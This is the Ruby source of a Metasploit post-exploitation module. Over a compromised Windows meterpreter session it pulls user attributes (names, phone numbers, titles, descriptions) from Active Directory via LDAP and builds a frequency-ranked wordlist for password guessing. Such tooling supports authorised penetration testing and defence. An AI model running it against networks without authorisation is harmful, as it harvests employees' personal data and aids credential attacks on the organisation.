modules/post/windows/gather/enum_ad_to_wordlist.rb
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Post
include Msf::Auxiliary::Report
include Msf::Post::Windows::LDAP
DEFAULT_FIELDS = [
'sn',
'givenName',
'state',
'postalCode',
'physicalDeliveryOfficeName',
'telephoneNumber',
'mobile',
'facsimileTelephoneNumber',
'displayName',
'title',
'department',
'company',
'streetAddress',
'sAMAccountName',
'comment',
'description'
]
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Windows Active Directory Wordlist Builder',
'Description' => %q{
This module will gather information from the default Active Domain (AD) directory
and use these words to seed a wordlist. By default it enumerates user accounts to
build the wordlist.
},
'License' => MSF_LICENSE,
'Author' => ['Thomas Ring'],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter']
)
)
register_options([
OptString.new('FIELDS', [true, 'Fields to retrieve (ie, sn, givenName, displayName, description, comment)', DEFAULT_FIELDS.join(',')]),
OptString.new('FILTER', [true, 'Search filter.', '(&(objectClass=organizationalPerson)(objectClass=user)(objectClass=person)(!(objectClass=computer)))'])
])
end
def run
fields = datastore['FIELDS'].gsub(/\s+/, '').split(',')
search_filter = datastore['FILTER']
q = nil
begin
q = query(search_filter, datastore['MAX_SEARCH'], fields)
rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e
# Can't bind or in a network w/ limited accounts
print_error(e.message)
return
end
return if q.nil? || q[:results].empty?
@words_dict = {}
q[:results].each do |result|
result.each do |field|
search_words(field[:value])
end
end
# build array of words to output sorted on frequency
ordered_dict = @words_dict.sort_by { |_k, v| v }.reverse
ordered_dict.collect! { |k, _v| k }
if ordered_dict.blank?
print_error('The wordlist is empty')
return
end
print_good("Wordlist with #{ordered_dict.length} entries built")
stored_path = store_loot('ad.wordlist', 'text/plain', session, ordered_dict.join("\n"))
print_good("Results saved to: #{stored_path}")
end
def search_words(field)
return if field.blank?
return if field =~ /^\s*$/ || field.length < 3
field.gsub!(/[()"]/, '') # clear up common punctuation in descriptions
field.downcase! # clear up case
words = field.split(%r{\s+|=|/|,|\+})
return if words.empty?
words.each do |word|
next if word.length < 3 || word.length > 24
if @words_dict[word]
@words_dict[word] += 1
else
@words_dict[word] = 1
end
end
end
end